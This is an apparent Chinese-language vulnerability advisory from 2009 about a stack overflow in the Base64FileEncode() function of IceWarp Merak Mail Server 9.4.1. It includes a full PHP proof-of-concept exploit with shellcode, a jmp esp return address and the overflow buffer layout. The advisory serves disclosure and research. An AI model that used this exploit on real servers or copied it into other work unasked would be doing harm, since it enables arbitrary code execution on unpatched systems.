首页 -> 安全研究

安全研究

安全漏洞
IceWarp Merak邮件服务器Base64FileEncode()函数栈溢出漏洞

发布日期:2009-04-27
更新日期:2009-04-28

受影响系统:
Icewarp Merak Mail Server 9.4.1
描述:
BUGTRAQ  ID: 34739

Merak Email Server是一个全面的办公室局域网或Internet通讯邮件解决方案。

Merak邮件服务器的api.dll库没有正确地验证对Base64FileEncode()函数所传送的第二个参数,如果远程攻击者向icewarp_apiobjectcall()函数的最后一个参数提交了超长输入的话,就可以触发栈溢出,导致执行任意代码。

<*来源:surfista
  
  链接:http://www.milw0rm.com/exploits/8542
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

if (php_sapi_name() <> "cgi-fcgi") {
        die("Launch from the merak php console!");
    }

if (!function_exists("icewarp_apiobjectcall")) {
        die("You need the icewarp extension loaded!");
   }

$shellcode= //original scode, alpha2 esp <sh.txt
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c start calc && ".
"\xff";

$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
           "8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
           "YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
           "wPQ6EvgPKOksA";

$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll

$bof=str_repeat("A",0x258).
    "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
    $eip.
    $shellcode;

$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');

$source="AAAA";
$destination=$bof;

icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );

?>

建议:
厂商补丁:

Icewarp
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.icewarp.com/

浏览次数:2555
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障